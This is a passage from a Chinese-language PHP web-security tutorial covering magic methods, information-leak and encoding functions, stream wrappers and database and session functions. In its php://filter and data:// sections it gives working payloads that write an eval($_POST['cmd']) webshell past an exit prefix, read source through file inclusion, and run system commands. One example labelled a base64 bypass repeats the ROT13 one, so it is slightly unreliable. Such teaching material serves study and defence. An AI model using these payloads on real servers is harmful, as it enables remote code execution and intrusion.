<?php class User { public $username; public $password; private $token; public function __sleep() { // 只序列化username,不序列化敏感数据 return ['username']; } } $user = new User(); $user->username = 'admin'; $user->password = 'secret123'; $user->token = 'abc123'; $serialized = serialize($user); // 触发__sleep() // 结果只包含username,不包含password和token ?> 但是如果是根据用户输入来序列化数据,就可能存在漏洞,不过这需要看具体执行了那些函数
- __set() 用于在尝试为不可访问的属性(如私有或受保护属性)赋值时自动调用
$obj = new VulnerableClass() $obj->email = 'test@example.com'; // 此时会调用该魔术方法
- __get() 这个方法在尝试获取私有属性的值时会被自动调用
- __isset() 判断类的实例的某个私有属性是否设置 相关文献:点击查看
- __unset() 如果一个类定义了魔术方法 __unset() ,那么我们就可以使用 unset() 函数来销毁类的私有的属性,或在销毁一个不存在的属性时得到通知,实际上有没有销毁那个属性,取决于 __unset() 的具体实现,也就是,我们也可以定义一个空的实现 相关文献:点击查看
- __call() 它在尝试调用对象中的不可访问方法时被触发
- __callStatic() 当你尝试静态方式调用一个类的方法,而这个方法不存在或不可访问时吗,此魔术方法被触发
- __set_state() 当把一个对象传递给 var_export() 的时候,会自动调用该静态魔术方法 相关文献:点击查看
- __clone() 在PHP中,对象克隆是通过使用 clone 关键字来创建一个对象的副本。这个过程通常涉及到对象属性的浅复制,意味着所有的引用属性仍然会指向原始变量的引用。如果需要,可以在类中定义此魔术方法来修改克隆完成后的对象属性 当执行克隆操作时,如果对象定义了此方法,那么在克隆完成后,新创建的对象的此魔术方法会被调用,这可以用于调整新对象的属性值
信息泄露类函数
phpinfo()函数
这个前面用到过,会泄露所有的PHP信息,其中包含很多敏感的信息和配置
get_defined_vars()函数
PHP 内置函数,用于返回当前作用域中所有已定义变量的多维数组,包括环境变量、服务器变量以及用户自定义变量
get_defined_functions()函数
获取所有已定义函数的数组
get_defined_constants()函数
返回当前所有已定义的常量名和值
get_loaded_extensions()函数
返回当前 PHP 解析器里所有编译并加载的模块名
get_extension_funcs()函数
根据模块名称返回模块内定义的所有函数的名称
ini_get()函数
用于获取 PHP 配置当前选项的值
ini_set()函数
用于设置 PHP 配置当前选项的值,该更改只会持续脚本执行期间,脚本结束后会恢复到原始值
getenv()函数
获取单个或者全部环境变量
get_cfg_var()函数
从配置文件中获取指定配置选项运行时的值
phpversion()函数
获取PHP版本或指定扩展的版本信息
php_sapi_name()函数
返回 web 服务器和 PHP 之间的接口类型
编码绕过类函数
base64_decode()函数
base64解码
base64_encode()函数
base64编码
urldecode()函数
URL解码
urlencode()函数
URL编码
rawurldecode()函数
按照 RFC 3986 对 URL 进行解码,不会将加号 + 解码为空格,如果 URL 中包含中文字符,解码后的字符串可能需要进行编码转换才能正常显示
rawurlencode()函数
按照 RFC 3986 对 URL 进行编码
html_entity_decode()函数
将 HTML 实体转换回其对应字符,可指定字符编码
htmlentities()函数
将字符串中的字符转换为对应的 HTML 实体,常用于防止 HTML 注入或在网页中安全显示特殊字符。 与 htmlspecialchars() 不同,它会转换所有具有 HTML 实体的字符,将 <, >, &, 引号等转换为 HTML 实体,还可以进行编码和引号的处理
htmlspecialchars()函数
用于将预定义的特殊字符转换为 HTML 实体,从而防止 HTML 注入和 XSS 攻击
chr()函数
将指定的 ASCII 值转换为对应的字符
ord()函数
用于返回字符串中第一个字符的 ASCII 值
hex2bin()函数
用于将十六进制字符串转换为其对应的 ASCII 字符串
bin2hex()函数
用于将二进制数据(ASCII 字符串)转换为十六进制表示
str_rot13()函数
用于对字符串执行 ROT13 编码,它通过将字母表中的每个字母向前移动 13 个位置来编码字符串。 非字母字符保持不变。 该函数既可以用于编码,也可以用于解码
协议利用
php://filter
PHP 提供的伪协议,可在读取或写入文件时对数据流进行编码、解码或转换,常用于源码读取、数据处理及安全绕过等场景,它支持多种过滤器,如 convert.base64-encode、string.rot13、string.strip_tags 等
基本语法:
php://filter/过滤器链/resource=目标资源 php://filter/read=<filter list>/resource=<要过滤的数据流> php://filter/write=<filter list>/resource=<要过滤的数据流> php://filter/read=<filter1>|<filter2>/resource=<要过滤的数据流>常见过滤器:
- convert.base64-encode Base64编码
- convert.base64-decode Base64解码
- string.rot13 ROT13编码
- string.toupper 转大写
- string.tolower 转小写
- string.strip_tags 去除HTML/PHP标签
- zlib.deflate 压缩
- zlib.inflate 解压
用法1:
当我们需要读取一个文件的源码时,直接读取或者包含可能会执行其中的PHP代码,我们可以使用php://filter将源码Base64编码后读取,然后解码得到源码
<?php echo file_get_contents('php://filter/convert.base64-encode/resource=flag.php'); ?>用法2,安全绕过场景:
绕过死亡exit,假设有有这么一个功能,运行用户输入任意数据和任意文件名,但是文件头部带有 exit; 导致无论输入什么都不会执行,漏洞代码如下:
<?php $filename = $_POST['filename']; $content = $_POST['content']; $full_content = "<?php exit; ?>" . $content; file_put_contents($filename, $full_content); ?>使用base64解码绕过:
$filename = 'php://filter/write=string.rot13/resource=shell.php'; $content = '<?cuc riny($_CBFG[\'cmd\']);?>'; // <?php eval($_POST['cmd']);?> 的ROT13 // 写入过程: // 1. 原始内容:<?php exit; ?><?cuc riny($_CBFG['cmd']);?> // 2. ROT13编码:<?php exit; ?> 变成 <?cuc rkvg; ?> // 3. <?cuc riny($_CBFG['cmd']);?> 变成 <?php eval($_POST['cmd']);?> // 4. 最终文件内容:<?cuc rkvg; ?><?php eval($_POST['cmd']);?> // 第一个标签被ROT13编码无法识别,第二个正常执行ROT13绕过:
$filename = 'php://filter/write=string.rot13/resource=shell.php'; $content = '<?cuc riny($_CBFG[\'cmd\']);?>'; // <?php eval($_POST['cmd']);?> 的ROT13 // 写入过程: // 1. 原始内容:<?php exit; ?><?cuc riny($_CBFG['cmd']);?> // 2. ROT13编码:<?php exit; ?> 变成 <?cuc rkvg; ?> // 3. <?cuc riny($_CBFG['cmd']);?> 变成 <?php eval($_POST['cmd']);?> // 4. 最终文件内容:<?cuc rkvg; ?><?php eval($_POST['cmd']);?> // 第一个标签被ROT13编码无法识别,第二个正常执行去除标签绕过:
$filename = 'php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php'; $content = 'PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg=='; // 写入过程: // 1. 原始内容:<?php exit; ?>PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg== // 2. string.strip_tags:去除<?php exit; ?>标签,剩下 PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg== // 3. convert.base64-decode:解码得到 <?php eval($_POST['cmd']);?>用法3,文件包含漏洞利用:
读取文件源码:
$file = $_GET['file']; include($file); // ?file=php://filter/convert.base64-encode/resource=config.php // 返回Base64编码的源码,解码即可过滤器链的组合使用:
php://filter/过滤器1|过滤器2|过滤器3/resource=文件多成编码:
// 读取文件,先ROT13,再Base64编码 $content = file_get_contents( 'php://filter/string.rot13|convert.base64-encode/resource=index.php' );压缩+编码:
// 读取文件,压缩后再Base64编码 $content = file_get_contents( 'php://filter/zlib.deflate|convert.base64-encode/resource=large_file.php' ); // 解码 $content = base64_decode($content); $content = gzinflate($content); // 解压复杂绕过链:
// 用于绕过WAF或复杂过滤 $filename = 'php://filter/write=string.tolower|string.rot13|convert.base64-decode/resource=shell.php'; // 写入过程: // 1. 原始内容转小写 // 2. ROT13编码 // 3. Base64解码 // 常用于特殊场景的绕过
php://input
伪协议,允许开发者访问 POST 请求的原始内容。它是一个只读流,可以直接读取未经处理的 POST 数据,而不依赖于 $POST 或 $FILES 超全局变量
主要作用是更灵活的数据处理和减小性能压力
data://
是一种内置的URL风格的封装协议,允许在URL中直接嵌入数据。这种协议可以与文件系统函数(如fopen()、copy()、file_exists()、filesize()等)一起使用,提供类似的功能
基本语法:
data://<mime-type>[;charset=<charset>][;base64],<data>
<mime-type>是数据的MIME类型,<charset>是字符集,<base64>表示数据是否经过Base64编码,<data>是实际的数据内容执行 PHP 代码:
data://text/plain,<?php phpinfo(); ?>执行Base64编码的PHP代码:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=执行系统命令:
data://text/plain,<?php system("whoami"); ?>不过想要使用 data 协议必须在 php.ini 中修改配置:
allow_url_fopen = On allow_url_include = On
zip://
可直接访问 ZIP 压缩包中的文件内容。它常用于文件读取、包含等场景,在安全测试中也可能被利用绕过上传限制执行恶意代码
比如我们可以先上传一个带有 php 代码的 webshell 文件,文件后缀是 txt ,然后压缩上传,然后使用 zip 读取文件,当存在include 时,我们就可以使用该协议读取 zip 文件中的 txt 文件的 php 代码,然后就会被 include 成功包含并执行
基础语法:
zip://绝对路径%23文件名
phar://
PHP 的一种流包装器(Stream Wrapper),可将多个文件打包成 Phar 压缩档并直接访问其中内容。其特殊之处在于 meta-data 区域以序列化形式存储,当某些文件系统函数解析 phar 文件时,会自动触发反序列化,从而可能被利用执行任意代码
核心原理 Phar 文件结构包含四部分:
- Stub:文件头标识,必须以 __HALT_COMPILER();?> 结尾,前缀可伪造成 GIF、PNG 等文件头以绕过上传限制。
- Manifest:文件属性及 序列化的 meta-data(攻击关键点)。
- Contents:实际文件内容。
- Signature:签名信息。
当 file_exists()、file_get_contents()、is_file() 等受影响函数接收 phar:// 路径时,会反序列化 meta-data,从而触发对象的魔术方法执行恶意代码
相关文献:点击查看
expect://
PHP 中用于处理交互式流的封装协议。它提供了对进程的标准输入、标准输出和标准错误的访问
注意:要使用 expect:// 封装协议,必须从 PECL 中安装有效的 Expect 扩展
数据库类函数
mysql_query()函数
PHP中用于执行MySQL查询的函数,但需要注意的是,该函数自PHP 5.5.0起已被废弃,并在PHP 7.0.0中被移除
基本语法:
mysql_query(query, connection);参数:
- query:必需参数,表示要执行的SQL查询语句(不能以分号结尾)
- connection:可选参数,指定MySQL连接标识符。如果未提供,将使用最近打开的连接
返回值:
对于 SELECT、SHOW、EXPLAIN 或 DESCRIBE 查询,返回一个资源标识符,对于其他类型的SQL语句(如 INSERT、UPDATE、DELETE),成功时返回 TRUE,失败时返回 FALSE
mysqli_query()函数
PHP 中用于执行 MySQL 查询的函数,支持多种 SQL 操作,如 SELECT、INSERT、UPDATE 和 DELETE
基础语法:
mysqli_query(connection, query, resultmode);参数:
- connection:必需,指定要使用的 MySQL 连接
- query:必需,SQL 查询字符串
- resultmode:可选,常量值: MYSQLI_USE_RESULT:适用于检索大量数据。 MYSQLI_STORE_RESULT:默认值
返回值:
它可以返回查询结果集或布尔值,具体取决于查询类型
PDO::query()函数
用于在单次函数调用内预处理并执行 SQL 语句,并以 PDOStatement 对象形式返回结果集
基础语法:
public PDO::query(string $query, ?int $fetchMode = null): PDOStatement|false参数:
- $query : 要执行的 SQL 语句。
- $fetchMode: 返回 PDOStatement 的默认获取模式。必须是 PDO::FETCH_* 常量之一
返回值:
如果成功,PDO::query() 返回 PDOStatement 对象,如果失败返回 FALSE
注意事项
- 如果 query 包含占位符,则必须使用 PDO::prepare() 和 PDOStatement::execute() 方法分别预处理和执行语句
- 如果没有完整获取结果集内的数据,就调用下一个 PDO::query(),将可能调用失败。应当在执行下一个 PDO::query() 前,先用 PDOStatement::closeCursor() 释放数据库 PDOStatement 关联的资源
PDOStatement::execute()函数
用于执行预处理语句,支持绑定参数或传入参数数组。 可处理命名参数或问号占位符,适用于IN子句等场景。 成功返回TRUE,失败返回FALSE,是数据库操作的关键方法
语法:
public PDOStatement::execute(?array $params = null): bool
会话类函数
步骤:
使用session_start()开始会话
如果需要,使用session_encode()来编码会话数据
用 session_decode()来解码会话字符串
session_start()函数
用于启动一个新会话或重用现有会话,使 $_SESSION 超全局变量可用,从而在多个页面间共享数据
调用 session_start() 时,PHP 会检查是否已有会话 ID(通过 Cookie 或 URL 传递),若无则创建新会话并生成唯一 Session ID,从服务器端会话存储读取数据并反序列化到 $_SESSION 数组,可通过 options 参数覆盖配置,如 cookie_lifetime、read_and_close 等
session_decode()函数
解码序列化会话字符串,并将解码后的数据填充 $_SESSION 超全局
session_encode()函数
返回一个序列化后的字符串,包含被编码的、储存于 $_SESSION 超全局变量中的当前会话数据
默认情况下,PHP 内部使用的序列方法和 serialize() 是不一样的。 该序列方法通过 session.serialize_handler来设置










